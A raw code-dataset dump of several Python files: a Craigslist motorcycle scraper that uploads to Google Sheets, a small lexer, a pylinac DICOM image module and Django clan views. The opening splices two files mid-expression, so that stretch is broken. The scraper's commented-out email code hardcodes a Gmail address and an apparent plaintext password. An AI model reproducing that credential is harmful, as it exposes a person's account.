frames, origin_size=(120, 160), pool_size=(5, 5), types='max'):\n data = []\n for frame in frames:\n pool = np.zeros((int(origin_size[0] / pool_size[0]), int(origin_size[1] / pool_size[1])), dtype=np.int16)\n frame_block = self.block_array(frame.reshape(origin_size), pool_size)\n for i, row in enumerate(frame_block):\n for j, block in enumerate(row):\n if types == 'max':\n pool[i][j] = block.max()\n elif types == 'average':\n pool[i][j] = block.mean()\n else:\n raise ValueError('I have not done that type yet..')\n data.append(pool.reshape(-1))\n return np.asarray(data)\n\n def threshold_norm(self, frames, threshold):\n frames = (frames - np.min(frames)) / (np.max(frames) - np.min(frames))\n frames[frames < threshold] = 0\n frames[frames > threshold] = 1\n frames = frames.astype('\")(.*)(?= 4: # year is 4 chars; if first item is more than that then assume the date is not given and that the first item is\n try:\n make.append(name[0])\n year.append('N/A') # assume year not given\n except:\n make.append('N/A')\n try:\n model.append(' '.join(name[1:])) # rest of the words probably belong to the model\n except:\n model.append('N/A')\n else:\n try:\n make.append(name[1]) # typical order is year, make, model, engine size\n except:\n make.append('N/A')\n try:\n model.append(' '.join(name[2:]))\n except:\n model.append('N/A')\n try:\n year.append(name[0]) # 4 or less chars in first word probably is the date\n except:\n year.append('N/A')\n else:\n model.append('N/A')\n year.append('N/A')\n make.append('N/A')\n\n if debug == True:\n print('year: ', year[-1])\n print('make: ', make[-1])\n print('model: ', model[-1])\n\n # Collect miles\n odom_html = spans.find_all(text=re.compile('odometer:'))\n # First determine if poster specified mileage\n if odom_html:\n for i in odom_html:\n try:\n miles.append(i.find_next('b').text)\n except:\n miles.append('N/A')\n else:\n miles.append('N/A')\n\n if debug == True:\n print('miles = ', miles[-1])\n\n # Collect engine size\n cc_html = spans.find_all(text=re.compile('engine displacement \\(CC\\)'))\n # First determine if poster specified engine size\n if cc_html:\n for i in cc_html:\n try:\n ccs.append(i.find_next('b').text)\n except:\n ccs.append('N/A')\n else:\n ccs.append('N/A')\n\n if debug == True:\n print('displacement = ', ccs[-1])\n\n # Determine if there is a next page\n next_button = []\n for n in next_html:\n next_button = n.get('href')\n\n if len(next_button) > 0: # if there is an href in next button html then there is another page. CL pages are notated in intervals of 120\n page = page + 120\n else:\n break\n\n# Search entire country\nif sys.getsizeof(region_input) <= 72:\n search_regions = city_codes\n\n if debug == True:\n print('\\nsearching entire U.S.\\n')\n\n # Perform search on each city in the nation\n scrape(search_regions)\n\n# Only search pre-selected regions\nelse:\n search_regions = []\n for i in regions:\n if any(x in i for x in region_input):\n search_regions.append(regions[i])\n print('\\nSearching '+ regions[i])\n scrape(search_regions)\n\n# Debugging\nif debug == True:\n print('\\nprices: ')\n count = 0\n for i in prices:\n count = count + 1\n print(count, ' ', i)\n print('year: ')\n count = 0\n for i in year:\n count = count + 1\n print(count, ' ', i)\n count = 0\n print('titles: ')\n for i in titles:\n count = count + 1\n print(count, ' ', i)\n print('miles: ')\n count = 0\n for i in miles:\n count = count + 1\n print(count, ' ', i)\n count = 0\n print(len(links))\n print('links: ')\n for i in links:\n count = count + 1\n print(count, ' ', i)\n print('ccs: ')\n count = 0\n for i in ccs:\n count = count + 1\n print(count, ' ', i)\n print('model: ')\n count=0\n for i in model:\n count = count + 1\n print(count, ' ', i)\n print('price: ', len(prices))\n print('city: ', len(cities))\n print('year: ', len(year))\n print('miles: ', len(miles))\n print('ccs: ', len(ccs))\n print('model: ', len(model))\n print('make: ', len(make))\n print('neighborhoods: ', len(neighborhoods))\n print('title: ', len(titles))\n\n# Add results to dataframe\ntry:\n df = pd.DataFrame({'Price': prices, 'City': cities, 'Year': year, 'Mileage': miles, 'Engine Size': ccs, 'Make': make, 'Model': model, 'Title': titles, 'Neighborhood': neighborhoods, 'Link': links})\n pd.set_option(\"display.max_colwidth\", 10000)\nexcept:\n print('Could not add results to dataframe')\n\nif debug == True:\n print('\\nFiltering unwanted keywords...\\n')\n print('\\ndf: ', df)\n\n# Finer filter: exclude listings with these words\nif args.ignore == 'default':\n ignore = ['parts', 'tank', 'motor', 'engine', 'tow', 'tag', 'dirt', 'chopper', 'wanted', 'manual', 'finance', 'approved', 'zero', 'financing', 'atv', '50', 'scooter', 'single-cylinder', 'can-am', 'ryker', 'spyder', 'camper', 'lineup']\n for i in ignore:\n print('ignore default: ', i)\nelif args.ignore:\n ignore = args.ignore.split(',')\n if debug == True:\n for i in ignore:\n print('ignore: ', i)\n df = df[~df.Title.astype(str).str.contains(i)].sort_values('Price').drop_duplicates()\n\n# >>> For checking if new listings exist <<<\n# print(newdf)\n# Max Price\n# newdf = df[(df.Price == 0) | ((df.Price < max_price) & (df.Price > min_price))].sort_values('Price').drop_duplicates()\n# Min Price\n#newdf = df[df.Price > 500] # Too many legit listings with $0\n# print(df.to_string())\n\n# Compare to last scan for new items\n# filepath = '/Users/jackgray/Documents/cronjobs/find-motorcycles/output.txt'\n# if os.stat(filepath).st_size > 0:\n# olddf = pd.read_csv(filepath)\n# # print(olddf.to_string())\n# else:\n# olddf = pd.DataFrame({})\n\n# df_concat = pd.concat([newdf, olddf], sort=True)\n\n# diff_df = df_concat.drop_duplicates(keep=False)\n\n# Send an email for new results\n# if diff_df.empty == False:\n# # Set up email server\n# port = 465\n# password = '0xf0rdc0mm4s'\n# context = ssl.create_default_context()\n# smtp_server = 'smtp.gmail.com'\n# to_ = 'jgrayau@gmail.com'\n# from_ = 'jgrayau@gmail.com'\n# message = diff_df.to_string()\n# context = ssl.create_default_context()\n# subject = 'New Listings!'\n# fmt = 'From: {}\\r\\nTo: {}\\r\\nSubject: {}\\r\\n{}'\n# # Send dataframe as message\n# email = EmailMessage()\n# email.set_content(fmt.format(to_, from_, subject, message))\n# email['To'] = to_\n# email['From'] = from_\n# email['Subject'] = subject\n# with smtplib.SMTP_SSL(smtp_server, port, context=context) as server:\n# server.login(from_, password)\n# server.send_message(email)\n\n # with smtplib.SMTP_SSL(smtp_server, port, context=context) as server:\n # server.login(sender_email, password)\n # server.sendmail(sender_email, receiver_email, message, fmt.format(sender_email, receiver_email, subject, message).encode('utf-8'))\n\n\nupdated = df.drop_duplicates().sort_values('Price')\n\nwith open('results.txt', mode='w') as tmp:\n updated.to_csv(tmp, sep='\\t', encoding='utf-8')\n\nif debug == True:\n print('\\ndf: \\n', df)\n print('\\nupdated: \\n', updated)\n print('\\nss_key: ', ss_key)\n print('\\nwks_name: ', wks_name)\n print('\\ncredentials: ', credentials)\n\n# Send dataframe to google sheets\nprint('\\nSending filtered results to google sheets at https://docs.google.com/spreadsheets/d/1vm_Op7XRmtHIuF8UX_B7vbatS_MPnOj5gPCv0JWy-Y0/edit#gid=0')\n\nd2g.upload(updated, ss_key, wks_name, credentials=credentials, row_names=True)\n\n# df.to_csv(filepath, index=False)\n\nprint('\\n\\nsuccess\\n')","sub_path":"backup_working_cli.py","file_name":"backup_working_cli.py","file_ext":"py","file_size_in_byte":15723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"313436587","text":"import re\nclass Scanner:\n def __init__(self, path):\n self.file = open(path, 'r')\n self.line = \"\"\n self.eof = False\n def __peekChar(self):\n if not self.line:\n self.line = self.file.readline()\n self.eof = (len(self.line) == 0)\n return self.line[0] if not self.eof else \"\"\n def __getChar(self):\n c = self.__peekChar()\n self.line = self.line[1:]\n return c\n def lex(self):\n if self.eof:\n return None\n print(\"CHAR:\",self.__getChar())\n if not self.__peekChar():\n print(\"EOF!!!\")\n","sub_path":"Chapter 3 - Lexical and Syntax Analysis/res/Wowza/Scanner.py","file_name":"Scanner.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"198397782","text":"\n\"\"\"This module holds classes for image loading and manipulation.\"\"\"\nfrom io import BytesIO\nimport os.path as osp\nimport os\nimport zipfile\n\nimport dicom\nfrom dicom.errors import InvalidDicomError\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image as pImage\nfrom scipy import ndimage\nfrom scipy.misc import imresize\n\nfrom pylinac.core.decorators import type_accept, value_accept\nfrom pylinac.core.geometry import Point\nfrom pylinac.core.io import get_filepath_UI, get_filenames_UI\nfrom pylinac.core.profile import stretch as stretcharray\nfrom pylinac.core.utilities import typed_property\n\n\nARRAY = 'Array'\nDICOM = 'DICOM'\nIMAGE = 'Image'\nMM_per_INCH = 25.4\n\n\nclass DICOMStack:\n \"\"\"A class that loads and holds a stack of DICOM images (e.g. a CT dataset). The class can take\n a folder or zip file and read any and all DICOM images. The images must all be the same size.\"\"\"\n metadata = None\n array = None\n\n def __init__(self, folder=None, dtype=int):\n if folder is not None:\n self._instantiate(data=folder, dtype=dtype)\n\n def _instantiate(self, data, dtype, is_zip=False):\n if is_zip:\n metadatalist = self._get_ct_images_metadata_from_zip(data)\n else:\n metadatalist = self._get_ct_images_metadata_list(data)\n self.metadata = metadatalist[-1]\n self._check_all_from_same_study(metadatalist)\n self._create_array(metadatalist, dtype)\n\n def _get_ct_images_metadata_list(self, folder):\n # read each file to see if it's a CT Image file\n filelist = []\n for par_dir, sub_dir, files in os.walk(folder):\n for name in files:\n try:\n ds = dicom.read_file(osp.join(par_dir, name), force=True)\n if ds.SOPClassUID.name == 'CT Image Storage':\n filelist.append(ds)\n except (InvalidDicomError, AttributeError, MemoryError):\n pass\n if filelist:\n return filelist\n raise FileNotFoundError(\"No CT images were found within the specified folder.\")\n\n def _get_ct_images_metadata_from_zip(self, zfile):\n \"\"\"Get the CT image file names from a zip file.\"\"\"\n allfiles = zfile.namelist()\n filelist = []\n for name in allfiles:\n try:\n ds = dicom.read_file(BytesIO(zfile.read(name)), force=True)\n if ds.SOPClassUID.name == 'CT Image Storage':\n filelist.append(ds)\n except (InvalidDicomError, AttributeError):\n pass\n if filelist:\n return filelist\n raise FileNotFoundError(\"No CT images were found within the specified folder.\")\n\n def _check_all_from_same_study(self, metadatalist):\n initial_uid = metadatalist[0].SeriesInstanceUID\n if not all(ds.SeriesInstanceUID == initial_uid for ds in metadatalist):\n raise ValueError(\"The images were not all from the same study\")\n\n def _create_array(self, metadatalist, dtype):\n # create empty array the size of the images\n image_shape = metadatalist[0].pixel_array.shape\n self.array = np.zeros((image_shape[0], image_shape[1], len(metadatalist)), dtype=dtype)\n\n # get the original image order\n original_img_order = [ds.ImagePositionPatient[-1] for ds in metadatalist]\n\n # set the image array according to the sorted order\n for new, old in enumerate(np.argsort(original_img_order)):\n self.array[:, :, new] = metadatalist[old].pixel_array\n\n # convert values to proper HU\n self.array *= int(self.metadata.RescaleSlope)\n self.array += int(self.metadata.RescaleIntercept)\n\n @classmethod\n def from_zip(cls, zip_path, dtype=int):\n if isinstance(zip_path, zipfile.ZipFile):\n zfiles = zip_path\n elif zipfile.is_zipfile(zip_path):\n zfiles = zipfile.ZipFile(zip_path)\n else:\n raise FileExistsError(\"File given was not a valid zip file\")\n\n obj = cls()\n obj._instantiate(data=zfiles, dtype=dtype, is_zip=True)\n return obj\n\n def plot(self, slice=0):\n \"\"\"Plot a slice of the DICOM dataset.\"\"\"\n plt.imshow(self.slice(slice))\n\n def slice(self, slice=0):\n \"\"\"Return an array for the given slice.\"\"\"\n return self.array[:, :, slice]\n\n @property\n def shape(self):\n return self.array.shape\n\nclass Image:\n \"\"\"A class that holds an image as a numpy array, relevant image metadata (dpi, SID, etc),\n and methods for image (array) manipulation (resize, rotate, etc).\n\n There are 3 types of Images: DICOM, Image, and Array. For DICOM and Image types,\n relevant metadata (see Attributes) is extracted where possible. Metadata can also be set directly.\n\n * A \"DICOM\" image is just what it sounds like. It could be an EPID capture, or a scanned film/CR cassette.\n * An \"Image\" image is what you think normally of an image. It could be a JPEG, BMP, TIF, etc.\n * An \"Array\" image is one created directly from an existing array.\n\n Attributes\n ----------\n array : numpy.ndarray\n The actual image pixel array.\n dpi : int, float\n The Dots-per-inch of the image.\n dpmm : int, float\n The Dots-per-mm of the image, defined at isocenter. E.g. if an EPID image is taken at 150cm SID,\n the dpmm will scale back to 100cm.\n SID : int, float\n The Source-to-Image distance in cm.\n im_type : {'DICOM', 'Image', 'Array'}\n Image type.\n center : geometry.Point\n The center pixel of the image as a Point.\n\n Examples\n --------\n Load an image from a file::\n\n >>> my_image = \"C:/QA/image.tif\"\n >>> img = Image(my_image)\n >>> img.median_filter(5)\n\n Additionally, load from a UI dialog box::\n\n >>> img = Image.from_UI()\n\n Or, load from an existing array::\n\n >>> arr = np.arange(36).reshape(6,6)\n >>> img = Image(arr)\n \"\"\"\n # SID = typed_property('SID', (int, float, np.number))\n im_type = typed_property('im_type', str)\n array = typed_property('array', np.ndarray)\n\n def __init__(self, filename=None):\n \"\"\"\n Parameters\n ----------\n filename : str\n Path to the image file.\n \"\"\"\n self._SID = 1000\n if filename is not None:\n try:\n self._load_file(filename)\n except (IOError, AttributeError):\n raise TypeError(\"Image input '{}' not understood\".format(filename))\n\n @classmethod\n def from_array(cls, array):\n obj = cls()\n obj.array = array\n obj.im_type = ARRAY\n return obj\n\n @property\n def dpi(self):\n if self.im_type == DICOM:\n dpi = getattr(self, 'dpmm', None)\n if dpi is not None:\n dpi *= MM_per_INCH\n return dpi\n elif self.im_type == IMAGE:\n try:\n dpi = self._img_meta['dpi'][0]\n except (IndexError, KeyError):\n dpi = self._img_meta.get('dpi', None)\n if dpi is not None:\n dpi *= self.SID / 1000\n return dpi\n else:\n return None\n\n @property\n def dpmm(self):\n if self.im_type == DICOM:\n try:\n # most dicom files have this tag\n dpmm = 1/self._dcm_meta.PixelSpacing[0]\n except AttributeError:\n try:\n # EPID images sometimes have this tag\n dpmm = 1/self._dcm_meta.ImagePlanePixelSpacing[0]\n except AttributeError:\n dpmm = None\n if dpmm is not None:\n dpmm *= self.SID / 1000\n return dpmm\n elif self.im_type == IMAGE:\n dpmm = self.dpi\n if dpmm is not None:\n dpmm /= MM_per_INCH\n return dpmm\n else: # Array type\n return None\n\n @property\n def center(self):\n \"\"\"Return the center position of the image array as a Point.\"\"\"\n x_center = self.shape[1] / 2\n y_center = self.shape[0] / 2\n return Point(x_center, y_center)\n\n @property\n def cax(self):\n \"\"\"Return the position of the CAX.\"\"\"\n try:\n x = self.center.x - self._dcm_meta.XRayImageReceptorTranslation[0]\n y = self.center.y - self._dcm_meta.XRayImageReceptorTranslation[1]\n except AttributeError:\n return self.center\n else:\n return Point(x, y)\n\n @property\n def SID(self):\n \"\"\"Return the SID.\"\"\"\n if self.im_type == DICOM:\n sid = getattr(self._dcm_meta, 'RTImageSID', self._SID)\n else:\n sid = self._SID\n return float(sid)\n\n @SID.setter\n @type_accept(value=(int, float, np.number))\n def SID(self, value):\n \"\"\"Set the SID value; must be in mm.\"\"\"\n # if not isinstance(value, (int, float, np.number)):\n # raise ValueError(\"SID must be a number\")\n if self.im_type == DICOM:\n raise AttributeError(\"Cannot set the SID for DICOM Images\")\n else:\n self._SID = value\n\n def check_inversion(self):\n \"\"\"Check the image for inversion by sampling the 4 image corners.\n If the average value of the four corners is above the average pixel value, then it is very likely inverted.\n \"\"\"\n outer_edge = 10\n inner_edge = 30\n TL_corner = self.array[outer_edge:inner_edge, outer_edge:inner_edge]\n BL_corner = self.array[-inner_edge:-outer_edge, -inner_edge:-outer_edge]\n TR_corner = self.array[outer_edge:inner_edge, outer_edge:inner_edge]\n BR_corner = self.array[-inner_edge:-outer_edge, -inner_edge:-outer_edge]\n corner_avg = np.mean((TL_corner, BL_corner, TR_corner, BR_corner))\n if corner_avg > np.mean(self.array.flatten()):\n self.invert()\n\n @classmethod\n def from_UI(cls, caption='', to_gray=True):\n \"\"\"Load an image using a UI dialog.\"\"\"\n file_path = get_filepath_UI()\n if file_path:\n obj = cls(file_path, to_gray)\n return obj\n\n @classmethod\n def from_multiple_UI(cls, caption='', to_gray=True):\n \"\"\"Load multiple images using a UI dialog.\n\n .. versionadded:: 0.5.1\n\n All files must be images, and must be the same size and shape.\n Image metadata, e.g. DPI, is all based on the first image selected.\n \"\"\"\n file_list = get_filenames_UI()\n if file_list:\n obj = cls.from_multiples(file_list)\n return obj\n\n def _load_file(self, file_path):\n \"\"\"Load a file.\"\"\"\n try:\n self._construct_dicom(file_path)\n except InvalidDicomError:\n try:\n self._construct_image(file_path)\n except OSError:\n raise IOError(\"Image type not supported\")\n\n def _construct_image(self, file_path):\n \"\"\"Construct an object from an image file (TIF, JPEG, etc).\"\"\"\n try:\n file_path.seek(0)\n except AttributeError:\n pass\n img = pImage.open(file_path)\n\n # convert to gray if need be\n if img.mode not in ('F', 'L', '1'):\n img = img.convert('F')\n\n self._img_meta = img.info\n\n self.array = np.array(img)\n self.im_type = IMAGE\n\n def _construct_dicom(self, file_path):\n \"\"\"Construct an object from a DICOM file (.dcm).\"\"\"\n try:\n file_path.seek(0)\n except AttributeError:\n pass\n dcm = dicom.read_file(file_path)\n self.array = dcm.pixel_array\n self.im_type = DICOM\n\n # attach the metadata\n self._dcm_meta = dcm\n\n def plot(self):\n \"\"\"Plot the image.\"\"\"\n plt.clf()\n plt.imshow(self.array, cmap=plt.cm.Greys)\n plt.show()\n\n def median_filter(self, size=3, mode='reflect'):\n \"\"\"Apply a median filter to the image.\n\n Wrapper for scipy's `median `_ filter function:\n \"\"\"\n if isinstance(size, float):\n if size < 1:\n size = max(int(self.array.shape[0]*size), 1)\n else:\n raise ValueError(\"If size is a float, it must be <1.0\")\n self.array = ndimage.median_filter(self.array, size=size, mode=mode)\n\n @type_accept(pixels=int)\n def remove_edges(self, pixels=15):\n \"\"\"Removes pixels on all edges of the image.\n\n Parameters\n ----------\n pixels : int\n Number of pixels to cut off all sides of the image.\n \"\"\"\n self.array = self.array[pixels - 1:-pixels-1, pixels - 1:-pixels-1]\n\n def invert(self):\n \"\"\"Invert (imcomplement) the image.\"\"\"\n orig_array = self.array\n self.array = -orig_array + orig_array.max() + orig_array.min()\n\n # def rotate(self, angle, order=3):\n # raise NotImplementedError()\n # self.array = ndimage.interpolation.rotate(self.array, angle, order=order, mode='wrap', reshape=False)\n\n def roll(self, direction='x', amount=1):\n axis = 1 if direction == 'x' else 0\n self.array = np.roll(self.array, amount, axis=axis)\n\n def rot90(self, n=1):\n \"\"\"Wrapper for numpy.rot90.\"\"\"\n self.array = np.rot90(self.array, n)\n\n def resize(self, size, interp='bilinear'):\n \"\"\"Resize/scale the image.\n\n Wrapper for scipy's `imresize `_:\n \"\"\"\n self.array = imresize(self.array, size=size, interp=interp, mode='F')\n\n def threshold(self, threshold):\n \"\"\"Convert the pixel array to a black & white array based on the threshold.\n\n Parameters\n ----------\n threshold : int\n If the value is less than the threshold it is set to 0, otherwise to 1.\n\n Returns\n -------\n A numpy array the same size as the original image.\n \"\"\"\n arr = np.where(self.array >= threshold, 1, 0)\n return Image.from_array(arr)\n\n @type_accept(point=(Point, tuple))\n def dist2edge_min(self, point):\n \"\"\"Calculates minimum distance from given point to image edges.\n\n Parameters\n ----------\n point : geometry.Point, tuple\n\n Returns\n -------\n float\n \"\"\"\n if isinstance(point, tuple):\n point = Point(point)\n rows = self.shape[0]\n cols = self.shape[1]\n disttoedge = np.zeros(4)\n disttoedge[0] = rows - point.y\n disttoedge[1] = cols - point.x\n disttoedge[2] = point.y\n disttoedge[3] = point.x\n return min(disttoedge)\n\n def ground(self):\n \"\"\"Ground the profile such that the lowest value is 0.\n\n .. note::\n This will also \"ground\" profiles that are negative or partially-negative.\n For such profiles, be careful that this is the behavior you desire.\n \"\"\"\n min_val = self.array.min()\n self.array -= min_val\n return min_val\n\n @classmethod\n @value_accept(method=('mean', 'max', 'sum'))\n def from_multiples(cls, image_file_list, method='mean', stretch=True):\n \"\"\"Combine multiple image files into one superimposed image.\n\n .. versionadded:: 0.5.1\n \"\"\"\n # open first one to get initial settings\n init_obj = cls(image_file_list[0])\n # init_obj.check_inversion()\n if stretch:\n array = stretcharray(init_obj.array)\n else:\n array = init_obj.array\n concat_arr = array\n initial_shape = init_obj.shape\n\n # open each image and append each array\n for img_file in image_file_list[1:]:\n obj = cls(img_file)\n if obj.shape != initial_shape:\n raise AttributeError(\"Images must be the same size when combining.\")\n # obj.check_inversion()\n if stretch:\n obj.array = stretcharray(obj.array)\n concat_arr = np.dstack((concat_arr, obj.array))\n\n # create new array\n if method == 'mean':\n combined_arr = np.mean(concat_arr, axis=2)\n elif method == 'max':\n combined_arr = np.max(concat_arr, axis=2)\n elif method == 'sum':\n combined_arr = np.sum(concat_arr, axis=2)\n # use the initial Image object and replace its array, thus keeping all the other properties\n init_obj.array = combined_arr\n init_obj.check_inversion()\n return init_obj\n\n def __getattr__(self, item):\n \"\"\"Set the Attribute getter to grab from the array if possible (for things like .shape, .size, etc).\"\"\"\n return getattr(self.array, item)\n\n def __getitem__(self, item):\n return self.array[item]\n","sub_path":"pylinac/core/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":16905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"379996878","text":"# coding: utf-8\n\nfrom django.db import transaction\n\nfrom dext.views import handler, validate_argument, validator\nfrom dext.common.utils.urls import UrlBuilder, url\n\nfrom the_tale.common.utils.resources import Resource\nfrom the_tale.common.utils.decorators import login_required\nfrom the_tale.common.utils.pagination import Paginator\nfrom the_tale.common.utils import list_filter\n\nfrom the_tale.accounts.views import validate_fast_account, validate_ban_any\nfrom the_tale.accounts.prototypes import AccountPrototype\nfrom the_tale.accounts.conf import accounts_settings\n\nfrom the_tale.game.heroes import logic as heroes_logic\n\nfrom .prototypes import ClanPrototype, MembershipPrototype, MembershipRequestPrototype\nfrom .conf import clans_settings\nfrom .relations import ORDER_BY, MEMBER_ROLE, PAGE_ID, MEMBERSHIP_REQUEST_TYPE\nfrom .forms import ClanForm, MembershipRequestForm\nfrom .logic import ClanInfo\nfrom . import meta_relations\n\n\nclass IndexFilter(list_filter.ListFilter):\n ELEMENTS = [list_filter.reset_element(),\n list_filter.choice_element('сортировать по:', attribute='order_by', choices=ORDER_BY.select('value', 'text'), default_value=ORDER_BY.NAME.value) ]\n\n\nclass ClansResource(Resource):\n\n @validate_argument('clan', ClanPrototype.get_by_id, 'clans', 'неверный идентификатор гильдии')\n def initialize(self, clan=None, *args, **kwargs):\n super(ClansResource, self).initialize(*args, **kwargs)\n self.clan = clan\n self.clan_info = ClanInfo(account=self.account)\n\n self.can_moderate_clans = self.request.user.has_perm('clans.moderate_clan')\n\n\n @validator(code='clans.not_owner', message='Вы не являетесь владельцем гильдии')\n def validate_ownership(self, *args, **kwargs): return self.clan_info.is_owner_of(self.clan)\n\n\n @validate_argument('account', AccountPrototype.get_by_id, 'clans.account_clan', 'неверный идентификатор аккаунта')\n @handler('account-clan')\n def account_clan(self, account):\n clan_info = ClanInfo(account=account)\n if clan_info.clan_id is not None:\n return self.redirect(url('accounts:clans:show', clan_info.clan_id))\n return self.auto_error('clans.account_clan.no_clan', 'Пользователь не состоит в гильдии')\n\n\n @validate_argument('page', int, 'clans', 'неверная страница')\n @validate_argument('order_by', lambda o: ORDER_BY(int(o)), 'clans', 'неверный параметр сортировки')\n @handler('')\n def index(self, page=1, order_by=ORDER_BY.NAME):\n\n clans_query = ClanPrototype._model_class.objects.all()\n\n clans_number = clans_query.count()\n\n page = int(page) - 1\n\n url_builder = UrlBuilder(url('accounts:clans:'), arguments={'order_by': order_by.value})\n\n index_filter = IndexFilter(url_builder=url_builder, values={'order_by': order_by.value})\n\n paginator = Paginator(page, clans_number, clans_settings.CLANS_ON_PAGE, url_builder)\n\n if paginator.wrong_page_number:\n return self.redirect(paginator.last_page_url, permanent=False)\n\n clans_query = clans_query.order_by(order_by.order_field)\n\n clans_from, clans_to = paginator.page_borders(page)\n\n clans = [ClanPrototype(clan_model) for clan_model in clans_query[clans_from:clans_to]]\n\n memberships = [MembershipPrototype(membership_model) for membership_model in MembershipPrototype._db_filter(clan__in=[clan.id for clan in clans],\n role=MEMBER_ROLE.LEADER)]\n accounts = {account_model.id: AccountPrototype(model=account_model)\n for account_model in AccountPrototype._db_filter(id__in=[membership.account_id for membership in memberships])}\n leaders = {membership.clan_id:accounts[membership.account_id] for membership in memberships}\n\n return self.template('clans/index.html',\n {'clans': clans,\n 'page_id': PAGE_ID.INDEX,\n 'paginator': paginator,\n 'index_filter': index_filter,\n 'leaders': leaders})\n\n @handler('#clan', name='show')\n def show(self):\n\n roles = {member.account_id:member.role for member in MembershipPrototype.get_list_by_clan_id(self.clan.id)}\n accounts = sorted(AccountPrototype.get_list_by_id(list(roles.keys())), key=lambda a: (roles[a.id].value, a.nick_verbose))\n heroes = {hero.account_id:hero for hero in heroes_logic.load_heroes_by_account_ids(list(roles.keys()))}\n\n active_accounts_number = sum((1 for account in accounts if account.is_active), 0)\n affect_game_accounts_number = sum((1 for account in accounts if account.can_affect_game), 0)\n\n return self.template('clans/show.html',\n {'page_id': PAGE_ID.SHOW,\n 'clan_meta_object': meta_relations.Clan.create_from_object(self.clan),\n 'roles': roles,\n 'accounts': accounts,\n 'leader': accounts[0],\n 'active_state_days': accounts_settings.ACTIVE_STATE_TIMEOUT // (24*60*60),\n 'affect_game_accounts_number': affect_game_accounts_number,\n 'active_accounts_number': active_accounts_number,\n 'heroes': heroes})\n\n @login_required\n @validate_ownership()\n @validate_ban_any()\n @handler('#clan', 'edit')\n def edit(self):\n form = ClanForm(initial={'name': self.clan.name,\n 'abbr': self.clan.abbr,\n 'motto': self.clan.motto,\n 'description': self.clan.description})\n return self.template('clans/edit.html',\n {'form': form,\n 'page_id': PAGE_ID.EDIT})\n\n @login_required\n @validate_ownership()\n @validate_ban_any()\n @handler('#clan', 'update', method='post')\n def update(self):\n form = ClanForm(self.request.POST)\n\n if not form.is_valid():\n return self.json_error('clans.update.form_errors', form.errors)\n\n if ClanPrototype._db_filter(name=form.c.name).exclude(id=self.clan.id).exists():\n return self.json_error('clans.update.name_exists', 'Гильдия с таким названием уже существует')\n\n if ClanPrototype._db_filter(abbr=form.c.abbr).exclude(id=self.clan.id).exists():\n return self.json_error('clans.update.abbr_exists', 'Гильдия с такой аббревиатурой уже существует')\n\n\n self.clan.update(abbr=form.c.abbr,\n name=form.c.name,\n motto=form.c.motto,\n description=form.c.description)\n\n return self.json_ok()\n\n @login_required\n @handler('#clan', 'remove', method='post')\n def remove(self):\n\n if not self.can_moderate_clans:\n\n if not self.clan_info.is_owner_of(self.clan):\n return self.json_error('clans.not_owner',\n 'Вы не являетесь владельцем гильдии')\n\n if self.clan.members_number > 1:\n return self.json_error('clans.remove.not_empty_clan',\n 'Можно удалить только «пустую» гильдию (сначала удалите всех членов кроме себя)')\n\n self.clan.remove()\n\n return self.json_ok()\n\n\nclass MembershipResource(Resource):\n\n @login_required\n @validate_fast_account()\n def initialize(self, *args, **kwargs):\n super(MembershipResource, self).initialize(*args, **kwargs)\n self.clan_info = ClanInfo(self.account)\n self.clan = None # Only for macros.html, TODO: remove\n\n\n @validator(code='clans.membership.no_invite_rights', message='Вы не можете приглашать игроков в гильдию')\n def validate_invite_rights(self, *args, **kwargs): return self.clan_info.can_invite\n\n @validator(code='clans.membership.no_remove_rights', message='Вы не можете исключать игроков в гильдию')\n def validate_remove_rights(self, *args, **kwargs): return self.clan_info.can_remove\n\n @validator(code='clans.membership.already_in_clan', message='Вы уже состоите в гильдии')\n def validate_not_in_clan(self, *args, **kwargs): return self.clan_info.membership is None\n\n @validator(code='clans.membership.not_in_clan', message='Вы не состоите в гильдии')\n def validate_in_clan(self, *args, **kwargs): return self.clan_info.membership is not None\n\n @validator(code='clans.membership.other_already_in_clan', message='Игрок уже состоит в гильдии')\n def validate_other_not_in_clan(self, account, **kwargs): return ClanInfo(account).membership is None\n\n @validator(code='clans.membership.request_not_from_clan', message='Запрос не от гильдии')\n def validate_request_from_clan(self, request, **kwargs): return request.type.is_FROM_CLAN\n\n @validator(code='clans.membership.request_not_from_account', message='Запрос не от аккаунта')\n def validate_request_from_account(self, request, **kwargs): return request.type.is_FROM_ACCOUNT\n\n @validator(code='clans.membership.account_has_invite', message='Игрок уже отправил заявку на вступление или получил приглашение в вашу гильдию')\n def validate_account_has_invite(self, account, **kwargs): return MembershipRequestPrototype.get_for(account_id=account.id, clan_id=self.clan_info.clan_id) is None\n\n @validator(code='clans.membership.clan_has_request', message='Вы уже отправили заявку на вступление или получили приглашение в эту гильдию')\n def validate_clan_has_request(self, clan, **kwargs): return MembershipRequestPrototype.get_for(account_id=self.account.id, clan_id=clan.id) is None\n\n @validate_invite_rights()\n @handler('for-clan')\n def for_clan(self):\n self.clan = self.clan_info.clan\n requests = MembershipRequestPrototype.get_for_clan(self.clan_info.clan_id)\n accounts = {model.id: AccountPrototype(model) for model in AccountPrototype._db_filter(id__in=[request.account_id for request in requests])}\n return self.template('clans/membership/for_clan.html',\n {'requests': requests,\n 'page_id': PAGE_ID.FOR_CLAN,\n 'accounts': accounts})\n\n @handler('for-account')\n def for_account(self):\n requests = MembershipRequestPrototype.get_for_account(self.account.id)\n accounts = {model.id: AccountPrototype(model) for model in AccountPrototype._db_filter(id__in=[request.account_id for request in requests] + [request.initiator_id for request in requests])}\n clans = {model.id: ClanPrototype(model) for model in ClanPrototype._db_filter(id__in=[request.clan_id for request in requests])}\n return self.template('clans/membership/for_account.html',\n {'requests': requests,\n 'accounts': accounts,\n 'clans': clans,\n 'page_id': PAGE_ID.FOR_ACCOUNT,})\n\n\n @validate_argument('account', AccountPrototype.get_by_id, 'clans.membership.invite', 'неверный идентификатор аккаунта')\n @validate_invite_rights()\n @validate_other_not_in_clan()\n @validate_account_has_invite()\n @validate_ban_any()\n @handler('invite', method='get')\n def invite_dialog(self, account):\n return self.template('clans/membership/invite_dialog.html',\n {'invited_account': account,\n 'form': MembershipRequestForm()})\n\n\n 